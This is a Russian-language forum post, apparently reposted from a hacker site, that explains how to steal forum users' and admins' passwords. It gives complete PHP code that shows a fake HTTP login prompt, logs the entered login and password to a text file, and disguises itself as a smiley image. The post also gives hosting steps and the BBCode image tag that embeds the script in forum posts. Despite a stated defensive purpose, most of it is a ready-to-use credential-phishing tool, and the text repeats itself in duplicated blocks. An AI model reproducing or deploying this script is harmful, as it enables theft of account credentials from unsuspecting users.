Вот на одном хакерском ресурсе наткнулся на интересную идею взлома форумов, данная статья расчитана не для того, чтобы научить ломать, а чтобы пользователи смогли защититься, если встретят такой тип атаки !
Итак многие атаки на форумы направленны на получение дампа базы ресурса, это всё конечно хорошо, но в базе пароли храняться в зашифрованном виде и расшифровать их порой бывает очень не простая задача !
Было-бы не плохо получить пароли пользователей ресурса, особенно админов ;)
Поэтому в этом типе атаки будем использовать всё в комлексе: Уязвимость + Социальную инженерию !
Смысл атаки вот в чём:
Со стороны пользователей это выглядит так: сидят они себе на любимом форуме, просматривают темы и вдруг бац! Появляется такое:
Доверчивый пользователь либо сразу честно введёт свой логин и пароль, либо закроет окно... что же, не беда, через некоторое время оно снова откроется!
Конечно, 100% гарантии что жертва введёт свой настоящий пароль нет, но шанс что кто-нибудь попадётся всё-таки есть.
Ок, так это увидит жертва, а как такое сделать?
Всё очень просто! На любом уважающем себя форуме пользователи имеют возможность вставлять в свои сообщения изображения. Но ведь это так скучно! Давайте вместо изображения вставим так ссылку на скрипт, который запросит логин, пароль и запишет их!
Кстати сам скрипт весьма простой, вот его код:
Сохраняем файл с расширением php (Например simple.php) !
Так же в папке со скриптом создайте пустой base.txt и положите картинку с именем img.gif. Например, эту:
Объясню немного что делает данный скрипт. Сначала он проверяет, сохранены-ли кукис для данного сайта (они сохраняются после ввода пользователем логина и пароля). Если их нет, запрашивает логин и пароль и сохраняет их в файл base.txt, после чего сохраняет кукис и превращается в загадочную танцующую анимашку (ну или любую картинку, которую вы сохраните в файле img.gif). Так как кукис сохраняются, при последующих запусках скрипта, он не будет спрашивать логин и пароль, картинка также не будет появляться (после проверки, есть-ли кукис, скрипт будет просто завершаться).
Как пользоваться:
Ищем бесплатный хостинг с поддержкой PHP, кидаем эти 3 файла (smile.php, img.gif, base.txt) на хостинг и открываем наш smile.php в браузере. Должна появится форма с запросом логина и пароля (см. картинку выше). Вводим что угодно (пароль не менее 5 символов) и, если всё правильно,
видим на странице нашу картинку из img.gif.
После обновления страницы она должна оказаться пустой и запрос ввода больше не должен появляться (ведь кукис уже сохранены). Теперь лезем в base.txt - там должно быть то, что вы вписали в поля логин и пароль. Надеюсь, всё прошло гладко.
Кстати не забудьте поставить права 777 для base.txt.
Для того, чтобы наша форма ввода появилась на странице форума, нужно просто вставить её адрес в сообщение как картинку, то есть как-то так:
В общем смысл такой, что вовсе не обязательно вводить свои логин/пароль в первое попавшееся окно !
Ах да чуть не забыл, если решите тестить, то здесь это делать не надо, т.к. мы добрые и пушистые, ну разве можно нас обижать !
Итак многие атаки на форумы направленны на получение дампа базы ресурса, это всё конечно хорошо, но в базе пароли храняться в зашифрованном виде и расшифровать их порой бывает очень не простая задача !
Было-бы не плохо получить пароли пользователей ресурса, особенно админов ;)
Поэтому в этом типе атаки будем использовать всё в комлексе: Уязвимость + Социальную инженерию !
Смысл атаки вот в чём:
Со стороны пользователей это выглядит так: сидят они себе на любимом форуме, просматривают темы и вдруг бац! Появляется такое:
Доверчивый пользователь либо сразу честно введёт свой логин и пароль, либо закроет окно... что же, не беда, через некоторое время оно снова откроется!
Конечно, 100% гарантии что жертва введёт свой настоящий пароль нет, но шанс что кто-нибудь попадётся всё-таки есть.
Ок, так это увидит жертва, а как такое сделать?
Всё очень просто! На любом уважающем себя форуме пользователи имеют возможность вставлять в свои сообщения изображения. Но ведь это так скучно! Давайте вместо изображения вставим так ссылку на скрипт, который запросит логин, пароль и запишет их!
Кстати сам скрипт весьма простой, вот его код:
Код:
<?
if(!$_COOKIE['LOGON'])
{
$login = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW'];
//Авторизация пройдёт, если пароль больше 4-ёх символов и вообще написан логин
if(strlen($pass) <= 4 || !$login)
{
Header('HTTP/1.1 401 Unauthorized');
Header('WWW-Authenticate: Basic realm="Session end."');
}
elseif($login)
{
setcookie('LOGON',md5($pass)); //ставим кукис, чтобы при повторном заходе авторизации небыло, а в самом начале проверка есть ли кукис
// записываем логин и пасс в base.txt
$log = fopen("base.txt","at");
fwrite($log,"\n $login:$pass \n");
fclose($log);
//делаем скрипт картинкой
header("Content-type: image/gif");
//делаем изображение смайликом из архива
$image = imagecreatefromgif('img.gif');
imagegif($image);
imagedestroy($image);
}
}
?>
Сохраняем файл с расширением php (Например simple.php) !
Так же в папке со скриптом создайте пустой base.txt и положите картинку с именем img.gif. Например, эту:
Объясню немного что делает данный скрипт. Сначала он проверяет, сохранены-ли кукис для данного сайта (они сохраняются после ввода пользователем логина и пароля). Если их нет, запрашивает логин и пароль и сохраняет их в файл base.txt, после чего сохраняет кукис и превращается в загадочную танцующую анимашку (ну или любую картинку, которую вы сохраните в файле img.gif). Так как кукис сохраняются, при последующих запусках скрипта, он не будет спрашивать логин и пароль, картинка также не будет появляться (после проверки, есть-ли кукис, скрипт будет просто завершаться).
Как пользоваться:
Ищем бесплатный хостинг с поддержкой PHP, кидаем эти 3 файла (smile.php, img.gif, base.txt) на хостинг и открываем наш smile.php в браузере. Должна появится форма с запросом логина и пароля (см. картинку выше). Вводим что угодно (пароль не менее 5 символов) и, если всё правильно,
видим на странице нашу картинку из img.gif.
После обновления страницы она должна оказаться пустой и запрос ввода больше не должен появляться (ведь кукис уже сохранены). Теперь лезем в base.txt - там должно быть то, что вы вписали в поля логин и пароль. Надеюсь, всё прошло гладко.
Кстати не забудьте поставить права 777 для base.txt.
Пользуемся нашим творением:
Для того, чтобы наша форма ввода появилась на странице форума, нужно просто вставить её адрес в сообщение как картинку, то есть как-то так:
HTML:
[img]http://host.com/smile.php[/img]
В общем смысл такой, что вовсе не обязательно вводить свои логин/пароль в первое попавшееся окно !
Ах да чуть не забыл, если решите тестить, то здесь это делать не надо, т.к. мы добрые и пушистые, ну разве можно нас обижать !